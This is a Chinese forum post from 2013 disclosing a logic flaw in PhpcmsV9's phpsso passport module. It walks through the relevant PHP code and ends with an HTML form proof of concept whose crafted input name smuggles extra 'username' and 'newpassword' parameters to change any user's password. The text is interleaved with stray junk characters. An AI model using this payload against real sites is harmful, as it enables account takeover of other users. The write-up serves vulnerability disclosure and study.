找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1916|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:/ u5 o0 m0 F7 e% u/ |7 T7 |! i6 Q
3 F! f1 y' Q* |0 ~  u% ?) x

0 n# X* C* `$ x6 mparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 d$ ?3 L' V" o4 F! |+ j9 M5 L9 U4 m! p( F
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
7 I, Q+ R4 C7 E4 k6 x& @/ n6 {* g/ k# I
我把它留给了你们。
6 R, _+ |- c6 o7 r& t, W( N( o# q) i不知道你们发现了它没有。
$ [5 `+ ^! T% y* p1 G& y6 ~/ r: _7 R1 S! Y
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
# n$ B( y8 t* m8 t/ g, T8 U% {5 d  {9 }6 Y; g# j1 L0 Z
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。0 P5 D# d) z; H$ y6 g2 i5 z: T* H- u

9 q' f1 i) q: Y8 s( q8 H也就是
! ]- \" t' F( P' h* c' t5 W, g) `9 M
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。9 W* c( F5 V4 x' \" Y- l7 j
! A% c3 L! c9 L) _0 s& \
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% L5 M4 ]- P4 \. T# Z, `
1 S5 \1 q5 Q' j* [0 R
  S$ J4 F: L, O9 J! V其实我们有这样的机会,看看代码,如下:, H6 v! O+ ]0 _! `7 l2 P
7 F" |; N3 ]" ~( `& S

* N1 k* l& E6 j. U$ u, x5 k1 Xpublic function auth_data($data) {0 C2 R! R( D, u0 f
                $s = $sep = '';: Q; U5 H5 H! R+ ]0 H4 K
                foreach($data as $k => $v) {
& O- H8 B* {# B1 I0 q9 l                        if(is_array($v)) {
4 o/ b7 ^) O  {' d* q* j" v; U                                $s2 = $sep2 = '';
. c; K3 }' U/ E- M                                foreach($v as $k2 => $v2) {7 u7 s' P, @% M( S: t' }7 }  W
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
9 N$ l2 m6 X/ C8 k+ ~# c                                        $sep2 = '&';& \3 j" K& Z6 X$ t  l/ e- f
                                }/ S& J! a$ V0 F5 E+ \( c1 T
                                $s .= $sep.$s2;
7 }7 g" J1 b) H' e+ o9 L- c# c                        } else {4 b# L) y- a/ Z3 Z0 [, \6 b' x2 E, ^
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);5 Y1 V6 A/ j' I; _& V, A9 P& V$ _  S- t5 H
                        }
$ w0 P2 j& W; b4 ^3 Z                        $sep = '&';
4 v' W% M3 [- I  z                }: C6 q7 f3 W. {) W1 X- p3 ~9 Y1 W$ F
$ S) }, J- m* h6 r# u
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));0 r! Q' ~/ |  w+ I: {9 m
                return $auth_s;
( ~3 l. R( h* O) O. s7 O& i        }
% h( ^2 n" o% O. C) N/ C& H7 t6 r8 t+ b3 k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 w# S' c+ U+ `: L

# S" y& `) x$ x. [2 d+ A6 g1 e举个例子$ x1 ^8 z$ T5 J' i  v! E

' j4 f2 F/ F' d( o/ o+ p/ p' _4 U$a[aaa=a&bbb] = 'a';3 {3 y7 c  E, W+ m3 |# r, }( M
* Q- k) F! T8 [2 R6 I7 ?! J" Y
会变成aaa=a&bbb=a2 ^( {9 m2 K3 ~1 H9 @. I# T% w! G
; h$ z* z7 g6 r4 S/ Y( O: s: t
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。) T& o% l- Z% {* P
$ I2 n+ p+ w# X1 v! L
这个时候,我们可以再去看一个函数。9 L* g# k; j% _/ J( U. V3 m

; J' Y# f8 J5 f( h; M就在这个文件内:
" I# L, i  ?+ W" f# {
2 U, j5 U- G1 e& {7 ]+ D% `, ]* x. d7 K3 d1 T9 [
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# X+ q0 k) k; P6 z' G
                if($email && !$this->_is_email($email)) {3 e; ~4 O5 w& f* A, v! k- e
                        return -4;6 m) D' ^0 g& P0 O
                }6 ^7 }7 N9 A& i7 m6 i% g. t
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
/ }  r: x4 P9 \0 ~8 [2 K! K7 W, x        }
+ D2 N5 |+ d# O. A0 r) Z
! H- Z* e  B; u# {1 A* `这是向通行证发了这样一个请求。' }* b; R0 I2 y

" A* [: b% G0 e我们再跟到通信证代码里去看看,就会有所发现。. T$ V4 {2 J' D. f$ f* x3 z* G+ V

/ k* b8 ^7 @/ o
0 ?  K6 w& @; r6 d4 ^% spublic function edit() {, S' V/ y' ]7 D
//能省就省,太长了不是吗?) Y- m, T) O) ^7 X: c' H4 s( Q; c
9 v8 _# W9 C6 \7 W
if($this->username) {
! ?" O# V0 Y. \- |//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。$ _. o9 h) E8 U# D# ~
                                $res = $this->db->update($data, array('username'=>$this->username));
& e. f% X- o/ G( y2 \2 E9 \' |# P/ s                        } else {& v8 ~' r& o! B0 u0 l+ E9 t. l8 S' L" ~
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 m1 y2 |' K5 u8 P; G* Q
                                $res = $this->db->update($data, array('uid'=>$this->uid));* r+ G' z2 {; M4 E, ]& W
                        }. r2 C* _! H0 M" n9 T2 N1 k6 n, W

! W- ~0 Q' S) _好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
9 \  x4 i: m' Q* O4 b3 T5 Z! X
0 D% Q1 ~0 _0 q7 c6 Tpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; C& n# h* {% ^' |# I% M
/ Q3 `" \! [6 t) R* x' ?很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。) ~2 k1 e8 V; \: b

9 L6 Z$ F' N4 {  t# I) `7 x# \我当然找到了:9 [/ k0 K1 f) a3 v5 Y
phpcms9/phpcms/modules/member/index.php; b0 r) e( L' j
5 w9 e. T; V" m. U: x# j8 E$ O
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* u- ?. i, j" @/ F, I
2 ^# n9 ?& }/ J# ~7 g6 H然后就没有然后了。, Z. R0 h' ?! [' {

9 H# y, D& r6 c! @<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
  E7 _  K% e- _) [                                <table width="100%" cellspacing="0" class="table_form">
) l6 U, q! U' j) z; B2 E                                        <tr>
% ~$ o; E+ o3 S                                                <th width="80">邮箱:</th>        * O* c" l' |/ o1 Y/ i5 V
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
: k5 i, q: n+ M( [                                        </tr>" ?% N- I2 `# K& {! W8 o$ _/ C
                                        <tr>
/ T$ t( ~9 {" J/ k. J                                                <th width="80">原密码:</th>        
$ C: v4 q7 v6 t, \                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. I; a) V0 d0 [& |3 a
                                        </tr>
7 b" h( g+ V) b                                        <tr>
* D7 L$ g, H1 ~# L& d9 Q: k7 A                                                <th>新密码:</th>
+ ^+ j9 i- C7 m% }1 V; H$ q                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& g' V) V7 Q! D$ m, X7 q9 A  t                                        </tr>
( J; t$ t% \5 U9 [! a1 C/ G7 K                                        <th></th>
0 d5 V, e: U% c1 ~; X                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
- |- M8 }( s3 q$ x# W                                        </tr>! ^) P2 O! l( G
                                </table>
( U. ?- B0 \9 D" d; }! _* }+ r" Q  W, q' M+ H. X9 y1 O0 N
                               
# G, T; n+ G' U5 }$ d; L                        </form>: ?+ W( m" |2 J! W" b0 ]( w  z! D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表